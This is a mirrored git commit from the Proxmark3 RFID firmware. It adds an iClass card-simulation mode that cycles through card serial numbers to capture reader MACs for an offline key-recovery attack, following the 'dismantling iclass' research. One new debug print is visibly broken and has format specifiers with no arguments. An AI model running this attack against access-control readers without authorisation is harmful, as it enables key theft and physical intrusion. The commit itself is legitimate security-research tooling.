mirror of
https://github.com/Proxmark/proxmark3.git
synced 2025-07-07 21:51:17 -07:00
Experimenting with hacking iclass
This commit is contained in:
parent
cba867f202
commit
ff7bb4ef17
3 changed files with 74 additions and 38 deletions
|
@ -853,7 +853,7 @@ void UsbPacketReceived(uint8_t *packet, int len)
|
||||||
SnoopIClass();
|
SnoopIClass();
|
||||||
break;
|
break;
|
||||||
case CMD_SIMULATE_TAG_ICLASS:
|
case CMD_SIMULATE_TAG_ICLASS:
|
||||||
SimulateIClass(c->arg[0], c->d.asBytes);
|
SimulateIClass(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
|
||||||
break;
|
break;
|
||||||
case CMD_READER_ICLASS:
|
case CMD_READER_ICLASS:
|
||||||
ReaderIClass(c->arg[0]);
|
ReaderIClass(c->arg[0]);
|
||||||
|
|
|
@ -188,9 +188,9 @@ void SetDebugIso15693(uint32_t flag);
|
||||||
|
|
||||||
/// iclass.h
|
/// iclass.h
|
||||||
void RAMFUNC SnoopIClass(void);
|
void RAMFUNC SnoopIClass(void);
|
||||||
void SimulateIClass(uint8_t arg0, uint8_t *datain);
|
void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
|
||||||
void ReaderIClass(uint8_t arg0);
|
void ReaderIClass(uint8_t arg0);
|
||||||
|
void doIClassSimulation(uint8_t csn[], int breakAfterMacReceived);
|
||||||
// hitag2.h
|
// hitag2.h
|
||||||
void SnoopHitag(uint32_t type);
|
void SnoopHitag(uint32_t type);
|
||||||
void SimulateHitagTag(bool tag_mem_supplied, byte_t* data);
|
void SimulateHitagTag(bool tag_mem_supplied, byte_t* data);
|
||||||
|
|
100
armsrc/iclass.c
100
armsrc/iclass.c
|
@ -986,31 +986,70 @@ static void CodeIClassTagSOF()
|
||||||
ToSendMax++;
|
ToSendMax++;
|
||||||
}
|
}
|
||||||
|
|
||||||
//-----------------------------------------------------------------------------
|
/**
|
||||||
// Simulate iClass Card
|
* @brief SimulateIClass simulates an iClass card.
|
||||||
// Only CSN (Card Serial Number)
|
* @param arg0 type of simulation
|
||||||
//
|
* - 0 uses the first 8 bytes in usb data as CSN
|
||||||
//-----------------------------------------------------------------------------
|
* - 2 "dismantling iclass"-attack. This mode iterates through all CSN's specified
|
||||||
void SimulateIClass(uint8_t arg0, uint8_t *datain)
|
* in the usb data. This mode collects MAC from the reader, in order to do an offline
|
||||||
|
* attack on the keys. For more info, see "dismantling iclass" and proxclone.com.
|
||||||
|
* - Other : Uses the default CSN (031fec8af7ff12e0)
|
||||||
|
* @param arg1 - number of CSN's contained in datain (applicable for mode 2 only)
|
||||||
|
* @param arg2
|
||||||
|
* @param datain
|
||||||
|
*/
|
||||||
|
void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain)
|
||||||
{
|
{
|
||||||
uint8_t simType = arg0;
|
uint32_t simType = arg0;
|
||||||
|
uint32_t numberOfCSNS = arg1;
|
||||||
|
|
||||||
// Enable and clear the trace
|
// Enable and clear the trace
|
||||||
tracing = TRUE;
|
iso14a_set_tracing(TRUE);
|
||||||
traceLen = 0;
|
iso14a_clear_trace();
|
||||||
memset(trace, 0x44, TRACE_SIZE);
|
|
||||||
|
|
||||||
// CSN followed by two CRC bytes
|
uint8_t csn_crc[] = { 0x03, 0x1f, 0xec, 0x8a, 0xf7, 0xff, 0x12, 0xe0, 0x00, 0x00 };
|
||||||
uint8_t response2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
|
||||||
uint8_t response3[] = { 0x03, 0x1f, 0xec, 0x8a, 0xf7, 0xff, 0x12, 0xe0, 0x00, 0x00 };
|
|
||||||
|
|
||||||
// e-Purse
|
|
||||||
uint8_t response4[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
|
||||||
|
|
||||||
if(simType == 0) {
|
if(simType == 0) {
|
||||||
// Use the CSN from commandline
|
// Use the CSN from commandline
|
||||||
memcpy(response3, datain, 8);
|
memcpy(csn_crc, datain, 8);
|
||||||
|
doIClassSimulation(csn_crc,0);
|
||||||
|
}else if(simType == 1)
|
||||||
|
{
|
||||||
|
doIClassSimulation(csn_crc,0);
|
||||||
}
|
}
|
||||||
|
else if(simType == 2)
|
||||||
|
{
|
||||||
|
// In this mode, a number of csns are within datain. We'll simulate each one, one at a time
|
||||||
|
// in order to collect MAC's from the reader. This can later be used in an offlne-attack
|
||||||
|
// in order to obtain the keys, as in the "dismantling iclass"-paper.
|
||||||
|
for(int i = 0 ; i < numberOfCSNS && i*8+8 < USB_CMD_DATA_SIZE; i++)
|
||||||
|
{
|
||||||
|
// The usb data is 512 bytes, fitting 65 8-byte CSNs in there.
|
||||||
|
|
||||||
|
memcpy(csn_crc, datain+(i*8), 8);
|
||||||
|
doIClassSimulation(csn_crc,1);
|
||||||
|
}
|
||||||
|
}else{
|
||||||
|
// We may want a mode here where we hardcode the csns to use (from proxclone).
|
||||||
|
// That will speed things up a little, but not required just yet.
|
||||||
|
Dbprintf("The mode is not implemented, reserved for future use");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
/**
|
||||||
|
* @brief Does the actual simulation
|
||||||
|
* @param csn - csn to use
|
||||||
|
* @param breakAfterMacReceived if true, returns after reader MAC has been received.
|
||||||
|
*/
|
||||||
|
void doIClassSimulation(uint8_t csn[], int breakAfterMacReceived)
|
||||||
|
{
|
||||||
|
// CSN followed by two CRC bytes
|
||||||
|
uint8_t response2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||||
|
uint8_t response3[] = { 0,0,0,0,0,0,0,0,0,0};
|
||||||
|
memcpy(response3,csn,sizeof(response3));
|
||||||
|
|
||||||
|
// e-Purse
|
||||||
|
uint8_t response4[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||||
|
|
||||||
// Construct anticollision-CSN
|
// Construct anticollision-CSN
|
||||||
rotateCSN(response3,response2);
|
rotateCSN(response3,response2);
|
||||||
|
@ -1019,6 +1058,7 @@ void SimulateIClass(uint8_t arg0, uint8_t *datain)
|
||||||
ComputeCrc14443(CRC_ICLASS, response2, 8, &response2[8], &response2[9]);
|
ComputeCrc14443(CRC_ICLASS, response2, 8, &response2[8], &response2[9]);
|
||||||
ComputeCrc14443(CRC_ICLASS, response3, 8, &response3[8], &response3[9]);
|
ComputeCrc14443(CRC_ICLASS, response3, 8, &response3[8], &response3[9]);
|
||||||
|
|
||||||
|
int exitLoop = 0;
|
||||||
// Reader 0a
|
// Reader 0a
|
||||||
// Tag 0f
|
// Tag 0f
|
||||||
// Reader 0c
|
// Reader 0c
|
||||||
|
@ -1083,7 +1123,7 @@ void SimulateIClass(uint8_t arg0, uint8_t *datain)
|
||||||
int cmdsRecvd = 0;
|
int cmdsRecvd = 0;
|
||||||
|
|
||||||
LED_A_ON();
|
LED_A_ON();
|
||||||
for(;;) {
|
while(!exitLoop) {
|
||||||
LED_B_OFF();
|
LED_B_OFF();
|
||||||
if(!GetIClassCommandFromReader(receivedCmd, &len, 100)) {
|
if(!GetIClassCommandFromReader(receivedCmd, &len, 100)) {
|
||||||
DbpString("button press");
|
DbpString("button press");
|
||||||
|
@ -1119,24 +1159,21 @@ void SimulateIClass(uint8_t arg0, uint8_t *datain)
|
||||||
LED_B_ON();
|
LED_B_ON();
|
||||||
} else if(receivedCmd[0] == 0x05) {
|
} else if(receivedCmd[0] == 0x05) {
|
||||||
// Reader random and reader MAC!!!
|
// Reader random and reader MAC!!!
|
||||||
// Lets store this ;-)
|
|
||||||
/*
|
|
||||||
Dbprintf(" CSN: %02x %02x %02x %02x %02x %02x %02x %02x",
|
|
||||||
response3[0], response3[1], response3[2],
|
|
||||||
response3[3], response3[4], response3[5],
|
|
||||||
response3[6], response3[7]);
|
|
||||||
*/
|
|
||||||
Dbprintf("READER AUTH (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",
|
|
||||||
len,
|
|
||||||
receivedCmd[0], receivedCmd[1], receivedCmd[2],
|
|
||||||
receivedCmd[3], receivedCmd[4], receivedCmd[5],
|
|
||||||
receivedCmd[6], receivedCmd[7], receivedCmd[8]);
|
|
||||||
|
|
||||||
// Do not respond
|
// Do not respond
|
||||||
// We do not know what to answer, so lets keep quit
|
// We do not know what to answer, so lets keep quit
|
||||||
resp = resp1; respLen = 0; //order = 5;
|
resp = resp1; respLen = 0; //order = 5;
|
||||||
respdata = NULL;
|
respdata = NULL;
|
||||||
respsize = 0;
|
respsize = 0;
|
||||||
|
if (breakAfterMacReceived){
|
||||||
|
// TODO, actually return this to the caller instead of just
|
||||||
|
// dbprintf:ing ...
|
||||||
|
Dbprintf("CSN: %02x %02x %02x %02x %02x %02x %02x %02x");
|
||||||
|
Dbprintf("RDR: (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",len,
|
||||||
|
receivedCmd[0], receivedCmd[1], receivedCmd[2],
|
||||||
|
receivedCmd[3], receivedCmd[4], receivedCmd[5],
|
||||||
|
receivedCmd[6], receivedCmd[7], receivedCmd[8]);
|
||||||
|
exitLoop = true;
|
||||||
|
}
|
||||||
} else if(receivedCmd[0] == 0x00 && len == 1) {
|
} else if(receivedCmd[0] == 0x00 && len == 1) {
|
||||||
// Reader ends the session
|
// Reader ends the session
|
||||||
resp = resp1; respLen = 0; //order = 0;
|
resp = resp1; respLen = 0; //order = 0;
|
||||||
|
@ -1177,7 +1214,6 @@ void SimulateIClass(uint8_t arg0, uint8_t *datain)
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
memset(receivedCmd, 0x44, RECV_CMD_SIZE);
|
memset(receivedCmd, 0x44, RECV_CMD_SIZE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue